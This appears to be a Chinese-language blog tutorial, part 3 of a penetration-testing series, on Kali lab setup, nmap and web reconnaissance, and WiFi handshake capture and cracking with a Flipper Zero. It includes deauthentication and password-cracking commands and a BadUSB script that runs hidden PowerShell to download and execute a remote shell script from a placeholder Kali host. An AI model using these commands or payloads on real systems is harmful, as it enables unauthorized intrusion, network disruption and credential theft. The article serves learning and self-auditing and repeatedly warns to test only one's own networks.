菜单
关于 服务 历程 与我合作
Linux terminal with code
Security 2026年3月7日 • 25分钟阅读

Kali Linux基础:构建你的黑客实验室

Set up Kali Linux, master nmap reconnaissance, capture WiFi handshakes with aircrack-ng, and connect your Flipper Zero to professional penetration testing workflows.

分享:
Lee Foropoulos

Lee Foropoulos

25分钟阅读

黑客之路:5部分系列

第1部分:入门介绍第2部分:Flipper精通第3部分:Kali基础第4部分:漏洞利用第5部分:完整审计

在第1部分和第2部分中,你克隆了卡片、分析了无线电频率,并理解了为什么大多数"安全"只是表面文章。你从外部看到了漏洞。现在你要进入内部,从攻击者的视角来审视它们。

Kali Linux是业界标准的渗透测试发行版。它预装了超过600种安全工具。这可能让人感到不知所措。大多数教程直接把你扔进深水区,给你一堆不理解的命令,也不解释为什么这些命令重要。

我们的做法不同。在本文结束时,你将拥有一个可用的实验室,从基础层面理解网络侦察,并捕获你自己的WiFi握手包。每一步都建立在前一步之上。

大多数教程直接把你扔进深水区,给你一堆不理解的命令,也不解释为什么这些命令重要。这里的每一步都建立在前一步之上。

第1部分:构建你的实验室

专业渗透测试人员不会在主机上运行Kali。他们使用隔离环境,可以重置、快照和销毁,不会影响主系统。你也要这样做。

选项A:虚拟机(推荐用于学习)

虚拟机提供最安全的学习环境。你可以保存进度快照,犯错后即时回滚。

你需要什么

  • 宿主机: 16GB以上内存,50GB以上可用磁盘空间,支持虚拟化的现代CPU
  • 虚拟化软件: VirtualBox(免费)或 VMware Workstation Player(个人使用免费)
  • Kali Linux: 来自 kali.org 的官方预构建VM

项目:Kali VM设置

时间: 30-45分钟

步骤:

  1. 为你的虚拟机管理程序(VirtualBox或VMware)下载Kali VM镜像
  2. 解压下载的存档(Windows推荐使用7-Zip)
  3. 将VM导入你的虚拟机管理程序
  4. 配置资源:最低4GB内存(推荐8GB),2个以上CPU核心
  5. 将网络适配器设置为"桥接"模式以获得完整网络访问
  6. 启动VM并使用默认凭据登录:kali / kali
  7. 打开终端并运行:sudo apt update && sudo apt full-upgrade -y
  8. 创建名为"Fresh Install"的快照以便轻松恢复

验证成功: 你能打开终端,运行whoami并看到kali

选项B:专用硬件(用于认真练习)

熟悉Kali后,专用硬件消除了VM开销并提供完整的硬件访问,这对无线测试至关重要。

硬件推荐

经济选项二手ThinkPad X230/T430($100-150),Intel WiFi替换为Atheros AR9285
现代选项带Linux兼容WiFi模块的Framework Laptop
专用传感器带外置Alfa AWUS036ACH适配器的Raspberry Pi 5 4GB

目前,VM完全够用。当你需要监控模式进行无线测试时(本文后面会讲),专用硬件才变得重要。

选项C:Live USB(零持久性)

Live USB直接运行Kali无需安装。关机后一切消失。适合在不同硬件上测试,但除非创建持久分区,否则每次会话都会丢失工作。

bash# Create bootable USB on Linux/Mac
sudo dd if=kali-linux-*.iso of=/dev/sdX bs=4M status=progress
# Replace sdX with your USB device (check with 'lsblk')
# On Windows: Use Rufus or balenaEtcher

dd会销毁数据

dd命令直接写入磁盘,没有确认提示。请三重检查设备名称。写入错误的设备会完全擦除该驱动器。

Kali Linux terminal with security tools running
正确配置的Kali Linux环境是每次专业渗透测试的基础。

第2部分:终端思维

在接触安全工具之前,你需要在终端中感到自如。这不是可选的。Kali有GUI,但真正的工作在命令行上完成。

基本导航

bash# Know where you are
pwd                    # Print working directory

# Move around
cd /home/kali          # Go to home directory
cd ..                  # Go up one level
cd -                   # Go to previous directory

# See what's here
ls                     # List files
ls -la                 # List all files with details
ls -lah                # Human-readable sizes

# Read files
cat filename           # Display entire file
less filename          # Scrollable view (q to quit)
head -n 20 filename    # First 20 lines
tail -f filename       # Follow file in real-time (logs)

权限提升

许多安全工具需要root权限。在Kali中,sudo给你临时的root权限。

bashsudo command           # Run single command as root
sudo -i                # Start root shell (be careful)
whoami                 # Check current user
id                     # Show user and group IDs

负责任地使用Root

以root身份运行意味着没有安全网。像rm -rf /这样的输入错误会摧毁一切。现代Kali会阻止这个特定命令,但原则不变:在运行之前先理解你在运行什么。

进程管理

bashps aux                 # All running processes
top                    # Real-time process viewer
htop                   # Better process viewer (install if needed)

# Control processes
ctrl+c                 # Stop current process
ctrl+z                 # Suspend process
bg                     # Resume in background
fg                     # Bring to foreground

# Kill processes
kill PID               # Graceful termination
kill -9 PID            # Force kill (last resort)

网络命令

baship a                   # Show network interfaces
ip route               # Show routing table
ping -c 4 8.8.8.8     # Test connectivity
curl ifconfig.me       # Your public IP

# DNS lookups
nslookup google.com
dig google.com

项目:终端熟悉

时间: 15分钟

任务:

  1. 使用ip a找到你在本地网络上的IP地址
  2. 使用ip route确定你的默认网关
  3. ping你的网关确认连通性
  4. 列出/etc中所有文件并按修改时间排序:ls -lt /etc | head
  5. 读取/etc/passwd的前50行:head -n 50 /etc/passwd

目标: 你应该能够不假思索地导航、检查网络状态和读取文件。

第3部分:使用Nmap进行网络侦察

Nmap(Network Mapper)是你将学到的最重要的工具。它发现主机、识别服务、检测操作系统并映射网络拓扑。其他一切都建立在nmap的输出之上。

你的第一次扫描

让我们扫描你自己的网络。首先,确定你的网络范围:

bash# Find your local IP and subnet
ip a | grep inet
# Look for something like: inet 192.168.1.100/24
# The /24 means your network is 192.168.1.0-255
bash# Basic discovery scan (your network only)
sudo nmap -sn 192.168.1.0/24

# What this does:
# -sn = ping scan (no port scanning, just host discovery)
# /24 = scan all 256 addresses in this subnet

你会看到类似这样的输出:

textNmap scan report for 192.168.1.1
Host is up (0.0025s latency).
MAC Address: AA:BB:CC:DD:EE:FF (Manufacturer Name)

Nmap scan report for 192.168.1.50
Host is up (0.0042s latency).
MAC Address: 11:22:33:44:55:66 (Another Manufacturer)

第一次扫描告诉你:"这些设备存在于我的网络上。"现在让我们提出更深层的问题。

服务检测

知道哪些主机存在后,你想知道它们运行着什么服务。

bash# Scan a single target for open ports and services
sudo nmap -sV 192.168.1.1
# -sV = Version detection (probe open ports for service info)

常见输出:

textPORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1
80/tcp   open  http     nginx 1.18.0
443/tcp  open  ssl/http nginx 1.18.0

操作系统检测

bash# Detect OS (requires root)
sudo nmap -O 192.168.1.1

# Combined scan: OS detection + service versions + default scripts
sudo nmap -A 192.168.1.1

理解端口状态

Nmap以几种状态报告端口:

  • open - 应用程序正在主动接受连接。这是攻击者寻找的目标。
  • closed - 端口可访问但没有应用程序在监听。主机在线但那里什么都没有。
  • filtered - 防火墙或过滤器阻止了探测。无法确定是开放还是关闭。
  • unfiltered - 端口可访问但nmap无法确定是开放还是关闭。

扫描类型和隐蔽性

bash# TCP Connect scan (default, noisy but reliable)
sudo nmap -sT target

# SYN scan (stealthier, default with root)
sudo nmap -sS target

# UDP scan (slow but important - many services use UDP)
sudo nmap -sU target

# Scan all 65535 ports (thorough but slow)
sudo nmap -p- target

# Scan specific ports
sudo nmap -p 22,80,443,8080 target

# Top 1000 common ports (default behavior)
sudo nmap target

Nmap脚本引擎(NSE)

NSE通过专用脚本扩展nmap,用于漏洞检测、服务枚举等。

bash# Run default safe scripts
sudo nmap -sC target

# Check for vulnerabilities
sudo nmap --script vuln target

# SMB enumeration (Windows shares)
sudo nmap --script smb-enum-shares target

# HTTP enumeration
sudo nmap --script http-enum target

# List available scripts
ls /usr/share/nmap/scripts/ | head -20

项目:映射你的网络

时间: 30分钟

前提条件:ip a知道你的网络范围

  1. 发现所有主机:sudo nmap -sn YOUR_NETWORK/24
  2. 列出发现的主机及其MAC地址
  3. 选择你的路由器(通常是.1)并运行:sudo nmap -sV -sC YOUR_ROUTER
  4. 识别路由器上所有开放端口和服务
  5. 运行sudo nmap -A YOUR_COMPUTER查看你的机器暴露了什么

记录: 创建一个文本文件,列出每个设备、其IP、MAC和服务。这就是你的网络地图。

只扫描你拥有的网络

未经授权扫描网络在大多数司法管辖区是违法的。即使是简单的nmap扫描也可能被视为未授权访问。只在你自己的网络、你自己的设备上操作,以及在你有明确书面许可的网络上操作。

第4部分:Web侦察

你的nmap扫描可能发现了HTTP服务(端口80、443、8080)。让我们了解那里运行着什么。

Whatweb:快速服务识别

bash# Identify web technologies
whatweb http://192.168.1.1

示例输出:

texthttp://192.168.1.1 [200 OK] Country[RESERVED][ZZ],
HTTPServer[nginx/1.18.0], IP[192.168.1.1],
Title[Router Admin], nginx[1.18.0]

Nikto:Web漏洞扫描器

bash# Scan for common web vulnerabilities
nikto -h http://192.168.1.1

# This checks for:
# - Outdated server software
# - Dangerous files/CGIs
# - Misconfigurations
# - Default credentials

目录枚举:隐藏了什么?

Web服务器通常有未从主页链接的目录:管理面板、配置文件、备份文件。

bash# Gobuster: directory brute-forcing
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt

常见发现:

text/admin   (Status: 301)
/backup  (Status: 403)
/config  (Status: 200)
/login   (Status: 200)

字典位置

Kali在/usr/share/wordlists/中包含大量字典。最常见的目录:dirb/dirbuster/rockyou.txt(密码)和seclists/(综合集合)。

项目:审计你路由器的Web界面

时间: 20分钟

  1. 运行whatweb http://YOUR_ROUTER_IP识别服务器
  2. 运行nikto -h http://YOUR_ROUTER_IP检查漏洞
  3. 运行gobuster dir -u http://YOUR_ROUTER_IP -w /usr/share/wordlists/dirb/small.txt
  4. 在浏览器中访问发现的目录
  5. 记录任何管理面板、版本号或有趣的发现

常见发现: 使用默认凭据暴露的路由器管理页面。

Server room with network infrastructure
网络侦察揭示了目标环境的完整拓扑,从路由器到隐藏服务。

第5部分:无线侦察

这里开始变得有趣了。WiFi网络持续广播,使用正确的工具,你可以捕获认证握手包:设备连接时发生的加密交换。

硬件要求

你的内置WiFi可能无法胜任。你需要支持监控模式数据包注入的适配器。推荐:Alfa AWUS036ACH(约$50)或Alfa AWUS036ACM(约$45)。它们开箱即用支持Kali。

理解监控模式

普通WiFi模式("managed mode")只接收发送给你设备的数据包。监控模式捕获范围内的所有数据包,信道上每个设备的流量。

bash# Check your wireless interfaces
iwconfig
# Look for your adapter (often wlan0 or wlan1)

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Your interface is now wlan0mon

扫描网络

bash# Start capturing wireless traffic
sudo airodump-ng wlan0mon

# You'll see:
# BSSID  = Router MAC address
# PWR    = Signal strength (higher = closer)
# CH     = Channel
# ENC    = Encryption (WPA2, WPA3, OPN)
# ESSID  = Network name

# Press Ctrl+C to stop

你看到的是范围内的每个WiFi网络、它们的安全设置,通常还有连接到它们的设备。这就是war driver扫描社区时看到的内容。

捕获握手包

当设备连接到WPA2网络时,会有一个四次握手。如果你捕获了这个握手包,就可以尝试离线破解密码。

bash# Focus on your target network (your own network!)
sudo airodump-ng -c CHANNEL --bssid ROUTER_MAC -w capture wlan0mon
# -c CHANNEL = Target's channel from previous scan
# --bssid = Target router's MAC address
# -w capture = Save to files starting with "capture"

# Now wait for a device to connect...

# Or force a reconnection (on YOUR network only):
# In a new terminal:
sudo aireplay-ng --deauth 5 -a ROUTER_MAC wlan0mon
# This sends 5 deauth packets, disconnecting clients
# They automatically reconnect, generating a handshake

当你捕获握手包时,airodump-ng会在右上角显示[ WPA handshake: XX:XX:XX:XX:XX:XX ]

Deauth攻击是违法的

向你不拥有的网络发送反认证数据包在美国属于联邦犯罪(根据Computer Fraud and Abuse Act),其他地方也有类似法律。只在你自己的网络上测试。目的是理解漏洞,而不是攻击他人。

破解握手包

有了捕获的握手包,你可以使用字典尝试离线破解密码:

bash# Crack using a wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# If the password is in the wordlist, you'll see:
# KEY FOUND! [ password123 ]

# For stronger passwords, use hashcat (GPU-accelerated)
# First, convert capture format:
cap2hccapx capture-01.cap capture.hccapx

# Then crack with hashcat:
hashcat -m 22000 capture.hccapx /usr/share/wordlists/rockyou.txt
14M+
来自真实数据泄露的真实密码包含在rockyou.txt中,这是用于破解捕获的WiFi握手包的默认字典。

密码强度现实检验

rockyou.txt包含来自真实数据泄露的1400多万个密码。如果你的WiFi密码是"password123"或"summer2024"或你的宠物名字,几秒钟就能破解。12个以上字符的随机密码需要数百万年才能暴力破解。

项目:测试你的WiFi安全

时间: 45分钟

前提条件: 支持监控模式的外置WiFi适配器

  1. 启用监控模式:sudo airmon-ng start wlan0
  2. 扫描网络:sudo airodump-ng wlan0mon
  3. 记下你网络的信道和BSSID
  4. 在你的信道上捕获:sudo airodump-ng -c CHANNEL --bssid YOUR_BSSID -w mywifi wlan0mon
  5. 将设备重新连接到你的WiFi(或在你自己的网络上使用deauth)
  6. 确认握手包捕获
  7. 用rockyou.txt测试:aircrack-ng -w /usr/share/wordlists/rockyou.txt mywifi-01.cap

结果: 如果你的密码被找到,立即更改为随机且长的密码(20个以上字符)。

第6部分:连接你的Flipper Zero

还记得第2部分的所有捕获吗?让我们把它们整合到你的Kali工作流程中。

文件传输

bash# Connect Flipper via USB
# It appears as a mass storage device

# Mount if not auto-mounted
sudo mount /dev/sda1 /mnt/flipper

# Your captures are in:
/mnt/flipper/subghz/       # Sub-GHz captures
/mnt/flipper/nfc/          # NFC dumps
/mnt/flipper/infrared/     # IR captures
/mnt/flipper/lfrfid/       # 125kHz RFID
/mnt/flipper/badusb/       # BadUSB scripts

分析NFC转储

bash# Install libnfc tools
sudo apt install libnfc-bin mfoc mfcuk

# Flipper saves NFC as .nfc text format
# Convert to binary for analysis:
python3 flipper_nfc_to_mfd.py card.nfc card.mfd

# Analyze MIFARE Classic dump
hexdump -C card.mfd | less

Sub-GHz分析

bash# Flipper's .sub files are text-based
cat garage_door.sub

# Contains:
# - Frequency (315MHz, 433MHz, etc.)
# - Protocol or RAW data
# - Timing information

# For deeper RF analysis, use:
# - Universal Radio Hacker (URH)
# - GNU Radio
# - rtl_433 (with SDR hardware)

BadUSB开发

在Kali中创建BadUSB载荷,在Flipper上测试:

bash# Flipper uses DuckyScript-compatible syntax
# Create payload on Kali:
cat > kali_connect.txt << 'EOF'
DELAY 1000
GUI r
DELAY 500
STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8000/shell.ps1')"
ENTER
EOF

# Host the payload from Kali:
python3 -m http.server 8000

# Copy to Flipper's badusb folder
cp kali_connect.txt /mnt/flipper/badusb/

BadUSB载荷威力强大

这些脚本在插入时自动执行。恶意载荷可以在几秒钟内安装后门、窃取凭据或销毁数据。只在你自己的机器上用于测试。永远不要把Flipper留在别人可能插入的地方。

第7部分:文档和工作流程

专业渗透测试人员不只是运行工具。他们记录一切。良好的文档将业余爱好者和专业人士区分开来。

使用CherryTree做笔记

bash# Install CherryTree (hierarchical note-taking)
sudo apt install cherrytree

# Organize notes by:
# - Target/network
# - Reconnaissance
# - Enumeration
# - Vulnerabilities
# - Exploitation attempts
# - Post-exploitation

保存Nmap输出

bash# Save in all formats
sudo nmap -sV -sC -oA scan_results target

# Creates:
# scan_results.nmap (human-readable)
# scan_results.xml  (parseable)
# scan_results.gnmap (greppable)

会话记录

bash# Log entire terminal session
script session_$(date +%Y%m%d_%H%M%S).log

# Now every command and output is recorded
# Type 'exit' to stop logging

黑客之路

带你从好奇者成长为能手的5部分系列。

第1部分:入门介绍 第2部分:Flipper精通 第3部分:Kali基础 ✓ 第4部分:漏洞利用 第5部分:完整审计

第3部分检查清单

☐ 实验室搭建: Kali VM运行中,已更新,快照已保存

☐ 终端: 熟练掌握导航、权限、进程控制

☐ Nmap: 网络已映射,服务已识别,路由器已扫描

☐ Web侦察: 路由器Web界面已用whatweb/nikto分析

☐ 无线: 监控模式已启用,网络已扫描

☐ 握手包: 自己的WiFi握手包已捕获并测试

☐ Flipper: 文件已传输,工作流程已理解

☐ 文档: 笔记已整理,扫描已保存

Kali基础行动计划 0/6

下一步

你已经构建了实验室并学习了侦察阶段。你能发现主机、识别服务并捕获无线握手包。你理解了攻击者在审视网络时看到的东西。

在第4部分,我们从侦察转向漏洞利用。你将学习:

  • Metasploit Framework,漏洞利用的瑞士军刀
  • 常见漏洞利用工作流程
  • 后渗透技术:获得初始访问后会发生什么
  • 权限提升:从普通用户到管理员
  • 横向移动:利用一个被入侵的系统攻击其他系统

侦察告诉你门在哪里。漏洞利用教你如何穿过它们。

你已经绘制了领土地图。现在你学习在其中导航。第4部分带你从观察者变成操作者。

第4部分见。

How was this article?

分享

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Bu cuoguo renhe wenzhang

Xin wenzhang fabu shi huoqu tongzhi. Wu xu dianzi youjian.

You xinwenzhang shi ninjianghui kandao wangzhan banner he liulanqi tongzhi (xu yunxu).

Jin liulanqi tongzhi. Wu laji youjian.